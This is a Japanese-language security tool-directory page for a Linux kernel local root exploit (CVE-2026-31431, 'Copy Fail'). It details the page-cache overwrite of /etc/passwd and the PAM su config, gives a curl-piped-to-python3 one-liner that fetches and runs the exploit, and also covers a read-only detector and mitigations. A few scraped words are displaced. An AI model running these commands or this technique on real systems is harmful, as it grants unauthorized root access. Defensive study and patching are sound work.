Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-31431 — CVE-2026-31431(Linuxカーネルのalgif_aead)向けのローカル権限昇格エクスプロイト。spliceを使用してページキャッシュを上書きし、root権限を取得します。読み取り専用の検出器を含みます。 | Kitploit
ツール/GitHubGitHub/mfloresdacunha/cve-2026-31431
特権昇格エクスプロイトフレームワーク脆弱性分析エクスプロイトペネトレーションテストレッドチーミング
GitHubmfloresdacunha/cve-2026-31431

CVE-2026-31431

CVE-2026-31431(Linuxカーネルのalgif_aead)向けのローカル権限昇格エクスプロイト。spliceを使用してページキャッシュを上書きし、root権限を取得します。読み取り専用の検出器を含みます。

リポジトリを見る
13ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-31431 — 「Copy Fail」ローカル権限昇格

概要

CVE-2026-31431 は、Linux カーネルの algif_aead サブシステムにおけるローカル権限昇格の脆弱性です。authencesn AEAD 実装は splice(2) を介してインプレース復号を実行し、ページキャッシュページを宛先 scatterlist に配置します。AAD からの 4 バイト値(seqno_lo)は、認証タグが検証される前にそのページキャッシュページに書き戻されます。これにより、権限のないユーザーが、任意のワールドリーダブルファイルのカーネルページキャッシュ内の任意のバイトを上書きできるようになります。

影響を受けるバージョン: カーネル 4.14(2017年8月)— authencesn が algif_aead に導入された時点
修正がリリースされたバージョン: 6.12、6.17、6.18 の安定版のみ
恒久的に未修正: カーネル 4.14–6.11(EOL; バックポートは提供されません)
必要なプリミティブ: AF_ALG ソケット、authencesn(hmac(sha256),cbc(aes)) 暗号、AF_ALG ソケット fd への splice(2)
影響: root へのローカル権限昇格 — 完全自動化、パスワード不要

仕組み

このエクスプロイトは、2 つのページキャッシュパッチを順番に適用し、その後 su を自動的に実行します:

  1. /etc/passwd パッチ — ファイルを開き(ワールドリーダブル)、ページキャッシュを投入し、authencesn splice プリミティブを使用して実行中ユーザーの 4 桁の UID フィールドを 0000 に反転させます。パッチ適用後、getpwnam() はユーザーを UID 0 として報告します。

  2. /etc/pam.d/su パッチ — pam_rootok.so と pam_permit.so はどちらも正確に 13 文字です。2 回の 4 バイト書き込みにより、PAM 設定のページキャッシュ内の pam_rootok.so が pam_permit.so に置き換えられます。pam_permit は常に PAM_SUCCESS を返すため、既存の auth sufficient 行が即座に発動します — パスワードプロンプトは表示されません。

  3. 自動シェル — スクリプトは su <user> を実行します。PAM はパスワードなしで認証し(ステップ 2)、 が UID 0 を報告するため が成功します(ステップ 1)。ユーザーの操作なしで root シェルが返されます。

どの時点でもディスクへの書き込みは発生しません。ページキャッシュの破棄(echo 3 > /proc/sys/vm/drop_caches)または再起動により、両方のパッチは完全に元に戻ります。

使用方法

認可されたテスト専用です。所有しているホスト、または明示的に評価を依頼されたホストでのみ実行してください。

ワンライナー

root@kitploit:~
curl -sL https://raw.githubusercontent.com/mfloresdacunha/CVE-2026-31431/main/exploit.py | TARGET_USER=$(whoami) python3

root シェルが自動的に返されます — パスワードは不要です。

手動

root@kitploit:~
git clone https://github.com/mfloresdacunha/CVE-2026-31431.git
cd CVE-2026-31431
TARGET_USER=$(whoami) python3 exploit.py

クリーンアップ(root シェルから)

root@kitploit:~
echo 3 | tee /proc/sys/vm/drop_caches

要件

  • Linux カーネル 4.14–6.18。具体的には、未修正の 4.14–6.11(恒久的)または上流の修正が適用されていない 6.12/6.17/6.18
  • AF_ALG ソケットサポートが有効(ほとんどのディストリビューションで標準)
  • authencesn(hmac(sha256),cbc(aes)) がロード可能(ほとんどのディストリビューションで標準)
  • Python 3.6+
  • 4 桁の UID(1000–9999)

検出

test_cve_2026_31431.py は、このリポジトリに同梱されている安全な読み取り専用の検出器です。一時ディレクトリに作成する使い捨てのセンチネルファイルに対して algif_aead splice プリミティブを実行します — システムファイルには一切触れません。判定結果を出力し、明確に定義された終了コードで終了します:

終了コード意味
0脆弱性なし — 前提条件が満たされていないか、ページキャッシュが変更されていない
1テストエラー(例: AF_ALG が利用不可、splice が未サポート)

実行方法:

root@kitploit:~
# ワンライナー(インストール不要)
curl -sL https://raw.githubusercontent.com/mfloresdacunha/CVE-2026-31431/main/test_cve_2026_31431.py | python3
echo "Exit code: $?"

# またはローカルクローンから
git clone https://github.com/mfloresdacunha/CVE-2026-31431.git
cd CVE-2026-31431
python3 test_cve_2026_31431.py
echo "Exit code: $?"

脆弱なカーネルでの出力例:

root@kitploit:~
[*] CVE-2026-31431 detector  kernel=6.12.0-55-generic  arch=x86_64
[+] AF_ALG + 'authencesn(hmac(sha256),cbc(aes))' loadable - precondition met.
[!] VULNERABLE to CVE-2026-31431.
[!]   Marker b'PWND' (AAD seqno_lo) landed in the spliced page-cache page at offset 24.
[!]   Surrounding bytes: 00000000504d4e4400000000  (b'\x00\x00\x00\x00PWND\x00\x00\x00\x00')
[!] Apply the upstream fix or block algif_aead immediately.

修正済みカーネルでの出力例:

root@kitploit:~
[*] CVE-2026-31431 detector  kernel=6.12.0-55-generic  arch=x86_64
[+] AF_ALG + 'authencesn(hmac(sha256),cbc(aes))' loadable - precondition met.
[+] Page cache intact. NOT vulnerable on this kernel.

緩和策

  • 上流のカーネルパッチを適用する。
  • /etc/modprobe.d を介して algif_aead をブロックする: install algif_aead /bin/false
  • seccomp または LSM ポリシーで AF_ALG ソケットを制限する。

参考情報

  • Copy Fail 開示
  • 上流の修正: net/tls + crypto/algif_aead — authencesn インプレース宛先 scatterlist の分離
ツールをダウンロード
getpwnam()
setuid(0)
2脆弱性あり — マーカーバイトが splice されたページキャッシュページに到達した